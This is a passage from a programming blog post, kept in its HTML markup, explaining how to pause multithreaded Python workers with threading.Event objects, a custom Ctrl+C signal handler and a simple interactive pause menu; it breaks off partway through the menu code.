&lt;h3 id=&quot;threading-event&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#threading-event&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; threading.Event&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Event&lt;/code&gt; is a Python class from the &lt;code&gt;threading&lt;/code&gt; library. As the &lt;a href=&quot;https://docs.python.org/3/library/threading.html#event-objects&quot;&gt;Python documentation&lt;/a&gt; puts it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is one of the simplest mechanisms for communication between threads: &lt;strong&gt;one thread signals&lt;/strong&gt; an event and &lt;strong&gt;other threads wait&lt;/strong&gt; for it. An event object manages an internal flag that can be set to true with the &lt;a href=&quot;https://docs.python.org/3/library/threading.html#threading.Event.set&quot;&gt;&lt;code&gt;set()&lt;/code&gt;&lt;/a&gt; method and reset to false with the &lt;a href=&quot;https://docs.python.org/3/library/threading.html#threading.Event.clear&quot;&gt;&lt;code&gt;clear()&lt;/code&gt;&lt;/a&gt; method. The &lt;a href=&quot;https://docs.python.org/3/library/threading.html#threading.Event.wait&quot;&gt;&lt;code&gt;wait()&lt;/code&gt;&lt;/a&gt; method blocks until the flag is true.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is what we call a &lt;strong&gt;binary semaphore&lt;/strong&gt;. It’s binary because it represents two states (set or not set). It’s a semaphore because it’s a thread-safe signalling mechanism. (In the past, semaphores were visual cues used to communicate over a distance.)&lt;/p&gt;
&lt;p&gt;To demonstrate why they&#39;re so useful consider the following toy functions:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; time&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; threading

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    time&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sleep&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;done: foo&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

event &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; threading&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    event&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;done: bar&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;What&#39;s the difference?&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;time.sleep()&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;event.wait()&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Blocks for a duration.&lt;/td&gt;
&lt;td&gt;Blocks for a duration, but returns instantly when signalled with &lt;code&gt;event.set()&lt;/code&gt;. If no parameter is passed, waits indefinitely.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;For simple delays, &lt;code&gt;time.sleep&lt;/code&gt; is good enough. But when responsiveness and multithreaded synchronisation are needed, &lt;code&gt;Event&lt;/code&gt; becomes much more appealing. If we add some code to the second example, it&#39;s clear that &lt;code&gt;event.wait&lt;/code&gt; is a superior sleep-like function, simply because we can control &lt;em&gt;&lt;strong&gt;when&lt;/strong&gt;&lt;/em&gt; that &lt;code&gt;sleep&lt;/code&gt; finishes, across multiple threads.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;threading&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Thread&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;foo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;start&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
threading&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Thread&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;bar&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;start&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
time&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sleep&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# do something...&lt;/span&gt;
event&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# &#39;done: bar&#39; printed instantly after&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr /&gt;
&lt;p&gt;Back to our &amp;quot;after&amp;quot; script. You&#39;ll notice we used not one, not two, but &lt;em&gt;three&lt;/em&gt; events. In the thread, we introduce a new kind of sleep function: &lt;code&gt;thread_delay&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;pause_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
resume_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
quit_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# -- snip -- &lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_delay&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sec&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sec&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Interrupt detected, waiting for resume.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_set&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Resumed, but still interrupted. Exiting thread.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;interrupt&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Resuming...&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;pass&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pause_evt&lt;/code&gt; - This is the event responsible for sleeping. If &lt;code&gt;pause_evt&lt;/code&gt; is set when &lt;code&gt;pause_evt.wait(sec)&lt;/code&gt; is running, it will return &lt;code&gt;True&lt;/code&gt; and enter the &amp;quot;paused state&amp;quot;. Otherwise, &lt;code&gt;.wait(sec)&lt;/code&gt; eventually times out and returns &lt;code&gt;False&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;resume_evt&lt;/code&gt; - Since we want our threads to stop running completely during interactive pause, we need to block and wait for another signal. Thus, a second event. Notice &lt;code&gt;resume_evt.wait()&lt;/code&gt; doesn&#39;t take a parameter, so it waits indefinitely.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;quit_evt&lt;/code&gt; - This is an additional feature I added to allow gracefully exiting the thread. The &amp;quot;protocol&amp;quot; I came up with is:
&lt;ul&gt;
&lt;li&gt;If &lt;code&gt;resume_evt&lt;/code&gt; is set and &lt;code&gt;quit_evt&lt;/code&gt; is set → quit the program by throwing an error to exit the thread.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;resume_evt&lt;/code&gt; is set and &lt;code&gt;quit_evt&lt;/code&gt; is cleared → continue running.&lt;/li&gt;
&lt;li&gt;This doesn&#39;t need to be an event. It could just as well be a variable, since single writes and multiple reads are thread-safe.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let&#39;s now take a look at the modified code in &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# ...&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_set&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# handle results...&lt;/span&gt;
        
    &lt;span class=&quot;token comment&quot;&gt;# -- snip --&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;# Handle pause menu/input.&lt;/span&gt;
    cont &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; main_pause_menu&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; cont&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Continue&lt;/span&gt;
        quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Quit&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Shutting down...&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;shutdown&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wait&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cancel_futures&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Finished shutdown.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Signal remaining threads to resume (and possibly quit).&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; cont&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The logic here is somewhat simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If &lt;code&gt;pause_evt&lt;/code&gt; &lt;em&gt;is not&lt;/em&gt; set, handle finished results.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;pause_evt&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; set, enter the pause menu.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;User inputs whether to continue or quit.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;The rest of the code fulfils the &amp;quot;protocol&amp;quot; outlined earlier.
&lt;ul&gt;
&lt;li&gt;To continue: clear &lt;code&gt;quit_evt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;To quit: set &lt;code&gt;quit_evt&lt;/code&gt;. (Plus cancel pending jobs.)&lt;/li&gt;
&lt;li&gt;Then set &lt;code&gt;resume_evt&lt;/code&gt; to signal worker threads to venture forth!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;handling-ctrl-c-with-signal&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#handling-ctrl-c-with-signal&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Handling Ctrl+C with signal&lt;/h3&gt;
&lt;p&gt;By default, when Python receives Ctrl+C, a callback runs which raises &lt;code&gt;KeyboardInterrupt&lt;/code&gt;. In major operating systems, Ctrl+C sends a SIGINT (i.e. signal interrupt) to programs.&lt;/p&gt;
&lt;p&gt;To customise Ctrl+C behaviour, we can set a callback with &lt;code&gt;signal.signal&lt;/code&gt;. In our case, our customisation will pause threads by calling &lt;code&gt;pause_evt.set()&lt;/code&gt;. We&#39;ll save the original signal so that we can restore normal Ctrl+C behaviour when threads are paused or finished.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Set custom handler...&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;handle_int_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; _frame&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

py_int_signal &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;getsignal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; handle_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;enable_py_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; py_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;enable_custom_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; handle_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In &lt;code&gt;main()&lt;/code&gt;, we wrap our result-handling code with &lt;code&gt;enable_custom_signal()&lt;/code&gt; and &lt;code&gt;enable_py_signal()&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# When running threads...&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    enable_custom_signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# -- snip -- Wait for Ctrl+C signal to pause threads...&lt;/span&gt;
    enable_py_signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# -- snip -- Show pause menu + handle events...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Truth be told, I couldn&#39;t figure out how to get arbitrary keystrokes in an &lt;code&gt;event.wait&lt;/code&gt;-esque manner (i.e. with a timeout). The easiest solution was to just use Ctrl+C. A bit limited, but I&#39;m happy with it.&lt;/p&gt;
&lt;h3 id=&quot;write-a-pause-menu&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#write-a-pause-menu&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Write a Pause Menu&lt;/h3&gt;
&lt;p&gt;If you learned programming before generative AI replaced tutorials, diligence, and self-worth, chances are your first program was a simple interactive I/O. Read input; spit it back out. Our simple menu will go back to those nostalgic first days of programming.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# A simple interactive menu to display during the paused state!&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Return True -&amp;gt; continue program. Return False -&amp;gt; quit.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main_pause_menu&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;Elsa?&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;Do you want to build a snowman? [y/n] &#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;lower&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
